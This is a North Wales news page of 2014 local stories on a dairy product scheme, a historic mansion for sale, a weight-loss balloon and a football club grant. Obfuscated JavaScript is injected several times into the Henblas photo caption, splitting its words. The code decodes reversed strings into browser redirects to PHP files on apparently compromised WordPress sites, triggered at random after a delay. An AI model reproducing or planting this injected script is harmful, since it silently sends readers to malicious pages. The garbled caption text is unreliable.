Category: News

North Wales farmers urged to revive the art of local cheese-making

CADWYN CLWYD. Pictured are Research and Development technologists Julia Skinner and Angharad Jones who have developed a range of new dairy products at Coleg Cambria, LLangefni .

Local cheeses, cream and yoghurts could once again be produced on farms in Denbighshire and Flintshire thanks to a ground-breaking new scheme.

Rural regeneration agency Cadwyn Clwyd has been working with the Food Technology Centre at Coleg Menai, Llangefni, to develop a new range of dairy products.

The selection of hard and soft cheeses, clotted cream and Greek-style yoghurts will be presented to a special product development evening at the Brookhouse Mill, in Denbigh, on Thursday, March 13.

Robert Price, Cadwyn Clwyd’s Agri-Food Project Officer, said: “This area is one of the UK’s top dairy areas with rich pastureland and high quality farms producing the very finest milk.

“There’s no reason why it shouldn’t also produce dairy products that are household names and we hope to encourage just those sorts of enterprise.

“We asked the Food Technology Centre to come up with a range of products which we could make here, which would be branded locally and for which there is a gap in the market.

“We don’t want to compete with what others are doing in North Wales, we want to develop new products and create a thriving and diverse dairy industry which creates jobs and puts us on the map in the way that Cheddar, Camembert and Parmesan do.”

The project has been funded by Cadwyn Clwyd through the European Agricultural Fund for Rural Development (EAFRD) through the Welsh Government’s Rural Development Plan and is part of a three-year plan to revitalise rural communities and their economies.

Senior Food Technologist Annemarie Flinn has supervised the development of the new products and she said: “By carrying out market research we have identified opportunities for what could be produced and looked at neighbouring areas so as to avoid duplication.

“We have developed five new products which we feel have excellent potential, a hard cheese, a softer washed-rind cheese such as the Dutch Gouda, a Greek-style set yoghurt and a clotted cream style product.

“These would all be viable and we would want them to adapt the recipes so as to make a distinctive product local to their area which could be marketed that way.

“We have now developed these products to the point that we will be able to bring them to the open evening and people interested will be able to see them and, more importantly, taste them.”

It’s a route that the Food Technology Centre has explored before with Aberwen cheese, a crumbly, Cheshire-style cheese made in the Conwy Valley by Bodnant Welsh Food.

Aled Rowlands, Bodnant’s dairy manager, said: “The Food Technology Centre helped us develop Aberwen from a traditional recipe and it is currently our bestseller.

“We worked with the Centre on the original recipe which was used to produce hand-made cheese in Denbighshire and Flintshire in the 18th and 19th centuries so I’m sure there is further scope to produce other artisan cheeses here in North Wales.”

Anne-Marie Flinn added: “Through the project we can provide support for those interested in making one of these products.

“They would need access to a supply of milk but they wouldn’t necessarily need to be a dairy farmer and we already have strong interest from a number of local people.

“It is a rural area with a high level of farming and there’s the potential to add value to local milk by making a high quality product and this is something that could get off the ground quickly.

“The cheese could initially be made here in Llangefni using our dairy development facilities which offer ideal support for new businesses.”

For more information on the product development event at the Brookhouse Mill contact Cadwyn Clwyd on 01824 705802 or e-mail to:info@cadwynclwyd.co.uk">info@cadwynclwyd.co.uk

Tuesday March 4th, 2014

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Historic Flintshire mansion Henblas goes on the market for 750,000

JONES PECKOVER... Henblas his$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}toric house for sale for £1 million. Pictured is Matt Holmberg from Jones Peckover with Mr David Law$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton who owns the Property.

One of North Wales’s most historic houses, with links to Owain Glyndwr and ‘The Fighting Morgans’ of the English Civil War, is on the market for three-quarters of a million pounds.

Henblas, an imposing sandstone home in an acre of grounds in the village of Llanasa, is a rare Grade One-listed building which even has its own resident ghost.

A spectral coach and horses is reputed to occasionally clatter through the gateway to the house which was built almost 370 years ago, in 1645, in the midst of the Civil War.

It is for sale with Jones Peckover, one of North Wales’s longest-established estate agents and auctioneers who market a range of properties across North Wales and the Border Counties from offices in Wrexham, Denbigh, Abergele and Menai Bridge.

Their Denbigh office property specialist Matthew Holmberg, said: “Henblas is a magnificent building which is probably the finest in a village which itself has a wealth of historic properties.

“It is quite exceptional and stands in about an acre of beautiful landscaped gardens and has a two-storey barn with a workshop and double garage.

“It has a rich and wonderful history but it is still a lovely house to live in.”

That echoes the thoughts of owners David Lawton and his wife, Bridget, who have owned the property for 40 years and brought up their five children there.

He said: “We were married 60 years ago in the church in the village but I knew it before then because I was born in Prestatyn and used to cycle up here.

“It was built for the Morgan family of Golden Grove at the time of the Civil War and actually during the siege of Chester.

“It has a wonderful history which includes having been used to house German prisoner of war officers in the First World War and evacuees in the Second World War.

“At one time it’s been owned by the Mostyn family and also by Dennis Vosper MP, Lord Runcorn, who really restored the property in the 1960s after it had fallen into some disrepair.

“We’ve been happy here and it’s been a lovely home and easily maintained. It’s compact and doesn’t ramble but it’s just a bit too big for the two of us now.”

Lord Runcorn was an old boy of Marlborough College, an exclusive pubic school whose former pupils also include the Duchess of Cambridge, Samantha Cameron, the wife of the Prime Minister, John Betjeman, comedian Jack Whitehall and Mark Phillips.

He even bought several oak tables from the College and used them to re-floor the spectacular hall room on the second floor which is over 40 feet long and more than 17 feet wide and features massive oak cross beams and where one refectory table still survives.

Another notable local resident was Dr Edwin Parry, who lived there in the 19th century and is buried in the churchyard – he lost both legs in a railway accident but continued to practice from the house.

Matthew Holmberg added: “There are a number of interesting features to the house which has three floors and a cellar including a carving of a man and a woman above the front door and also some more interesting carving on one of the gable ends.

“There is a verse in Old Welsh near the foot of the exterior wall while at the top there is a carving of a kneeling figure with the date of the house’s construction.

“It all adds up to making this a fascinating property and one of the most unusual – these sorts of historic houses don’t come on the market very often.

“Inside there is some wonderful wood panelling in the dining room, a magnificent oak staircase and a series of spacious rooms, including at least five bedrooms.

“The house was added to later and there is also a separate lodge which dates from slightly later in the 17th century which is also for sale.”

Local historian Paul Parry believes the house may also have a link to Owain Glyndwr. He said: “The verse in Old Welsh means ‘I grew trees round thee to get thee ready for me’ and is attributed to Gruffudd Fychan, Owain Glyndwr’s father.

“He is buried in the Church and it is believed he could have lived here in the 14th century in an older building which would have been demolished with Henblas built on its foundations.

“The house was built for the marriage of a daughter of the Mostyn family of Talacre and one of the Morgans, from nearby Golden Grove, probably one of the fighting Morgans who all died in the service of the Royalist cause.

“The figures above the front door are probably the couple and on the gable end there’s a carved kneeling figure with a scroll coming from his mouth and a Latin text.

“There was a belief that the Morgan who owned the house was the famous pirate Henry Morgan but that’s not the case, he was from South Wales though that didn’t stop someone from digging up the grave of the local Morgan looking for the pirate treasure.

“It could be the Morgan who is commemorated on the walls of Chester with Morgan’s Mount, a gun emplacement named after either Captain William Morgan or his son, Edward.

“There’s also said to be a tunnel which leads from the cellar at Henblas across the road and from looking at the ground there does seem to be something underground and if it’s only a drain then it’s a very big one.”

For more information go to http://www.jonespeckover.co.uk/

Monday March 3rd, 2014

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Wrexham hospital offers new gastric balloon that can be swallowed

Spire Yale Hospital staff with the Obalon Balloon for weight loss system. Kath Rothwell. Regional Nurse Specialist, left and Vicki Davies, Bareatric Nurse Specialist.

A private hospital in Wrexham is one of the first in the UK to offer a new weight loss balloon that can be swallowed in a capsule.

Unlike other gastric balloon treatments, Obalon does not require invasive surgery, according to experts at Spire Yale Hospital.

Instead, in a 10-minute procedure, patients swallow a capsule the size of a large vitamin pill which contains a deflated balloon.

The capsule is attached to a hollow tube and, once the capsule arrives in the stomach, the balloon is inflated.

The balloon sits in the stomach, giving patients the sensation of fullness which encourages them to eat less and therefore lose weight.

If needed, patients receive a second balloon 30 days after the first. After 12 weeks all balloons are removed via endoscopy which takes just a few minutes in daycase theatre.

The treatment will help them make diet and lifestyle choices which they will then be able to maintain once the balloons have been removed.

Lead nurse Kath Rothwell explained: “Obalon is a brand new, innovative weight loss treatment and we’re delighted that Spire Yale Hospital is among the first in the UK to offer this discreet and non-invasive treatment.

“Early results suggest that people can lose up to eight kilograms in 12 weeks and, with the support of our experts here at Spire Yale Hospital, work to achieve long term, sustainable weight loss.

“Initial published results suggest that Obalon may offer a solution for those who have previously been unsuccessful in losing weight.

“These early results indicate this customisable, non-invasive, 12-week treatment can provide weight loss of up to eight kilograms and it is available for those with a BMI of 27 or over.

“Patients are monitored carefully throughout their treatment period. After the first capsule is swallowed it is left in the stomach for 30 days, after which a second balloon is swallowed if needed. After a total of 12 weeks all balloons are removed via an endoscopy which takes just a few minutes using light sedation if needed.

“To help achieve sustained weight-loss, patients will benefit from support and care from expert clinicians addressing healthy eating, exercise and psychological support.”

The balloon was introduced by Spire Healthcare after successful trials in Europe.

Hospital Manager Sue Jones added: “I am very excited about the potential Obalon can offer patients who are struggling to lose weight and want to improve their health independently.

“It is quick and easy to place and looks to be well tolerated. It can give patients an initial weight-loss boost but with the right support it can also help to change their eating behaviour – which is needed for long-term, weight loss.”

Obalon is available at a fixed price of £2,995 for a two balloon treatment or £1995 for one balloon treatment. For more details go to www.spireyale.com

Friday February 28th, 2014

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Colwyn Bay Football Club cleans up in community thanks to Cartrefi Conwy

CARTREFI CONWY AND COLWYN BAY FC. Pictured is Student Daniel Kemp, Sarah Jones from Cartrefi and Colin Matthews community chest commitee member along with other students.

An ambitious football club is showing the opposition a clean pair of heels – after getting a new on-site laundry room.

The development at Colwyn Bay Football Club was made possible by the Cartrefi Conwy Community Chest Grant of £4,405
The club, which is pushing for a play-off place in the Skrill Conference North League, used the money to buy washing machines, driers and to transform and old storage room into a fully-fitted laundry.

Colwyn Bay FC director, Andy Keep, a retired director of education and former Prestatyn High School head teacher, says the grant means it will be easier for the club to run more community teams.

He said: “Previously we were taking dirty kits to laundrettes but as we have increased the number of teams we run, and taking into account the community work we do as a club, it made sense to try and have our own on site laundry facility.

“As well as the first team we run a reserve side and a wide range of youth teams from ages four up to 18. We are also staring girls’ under 12, 14 and 16 teams from September with training already taking place.

“The players that make up these sides all come from the local area and represent a number of communities.”

He added: “In addition, as a club, we are involved with the North Wales Futsal Project which is aimed at getting unemployed people back into work. The 12-week courses are football-based but include numeracy and literacy as well as interview skills and how to write CV’s and covering letters.

“The addition of our laundry room means we can also include some life skills within the course.

“The Cartrefi Conwy Community Chest Grant of more than £4,400 has proved fantastic for us as a club and the wider community. It’s particularly welcome when you consider the board that decides on grant applications is made up of tenants.

“However, I have to say I received a great deal of help from Cartrefi Conwy staff when making the application, which was really useful.”

Cartrefi Conwy Community Chest administrator Sarah Jones is delighted the football club’s application for a grant was successful.

She said: “The development of the club’s own laundry facility met all the criteria for a grant as it clearly benefits the wider community and will contribute a great deal to the area in general.

“It’s important grants are decided upon, not by members of Cartrefi Conwy staff, but by a panel made up of tenants nominated by the Tenants’ Forum alongside an individual board member.

“It is our role as Cartrefi Conwy staff to help the panel by offering administrative support and ensuring Community Chest rules are adhered to.”

Nerys Owen-Jones, a Cartrefi Conwy representative and part of the Community Chest says she is delighted Colwyn Bay Football Club received the grant.

She said: “This grant will clearly help the club support more members of the community. The work being done with the North Wales Futsal Project is particularly important.

“These courses are benefiting local unemployed people helping them get back into work by teaching a range of skills based on Futsal.”

She added: “Grants are available for the purchase of specific items or towards specific pieces of work. Money assigned through the Community Chest scheme helps Cartrefi Conwy achieve our aim of creating communities to be proud of.”

Unemployed, Keith Meadows, 21, of Old Colwyn has just completed a Futsal course at Colwyn Bay FC and says he is now hoping to rejoin the Royal Navy.

He said: “A few years ago I got to the last few days of basic training when my grandmother, who I was very close to, died. I was in a mess and they told me to go home and re-apply when I felt able.

“The course has been really good and helped me build some self-confidence as well as improving my fitness. As well as learning how to write CV’s and letters we have learnt some life skills including using the new laundry at the club.

“I think its really good the club was able to set up it’s own laundry thanks to the grant they received. It will help lots of people from the local area which has to be a good thing.”

Daniel Kemp, 29, of Colwyn Bay, also attended the Futsal course and says he has been unemployed for more than two years.

He said: “It has been really good and helped me gain more experience as a football coach which is something I really want to do. My plan is to find a full-time job while completing all the football coaching badges that I can.

“It’s excellent that Colwyn Bay Football Club has been given this Cartrefi Conwy grant. Being involved with a lot of youth football I know it’s quite difficult to get piles of kit washed and dried.

“The facility will make a big difference to the club and all its players as well as being useful to people attending these Futsal courses.”

For more information about  the course contact:  Carol Beard 07595894622 or email to:carol@colwynbayfc.co.uk">carol@colwynbayfc.co.uk   or go to www.projectfutsal.org.uk  or www.colwynbayfc.co.uk. For more information on Cartrefi Conwy’s Community Chest scheme or for an application form call 01745 335347.

Thursday February 27th, 2014

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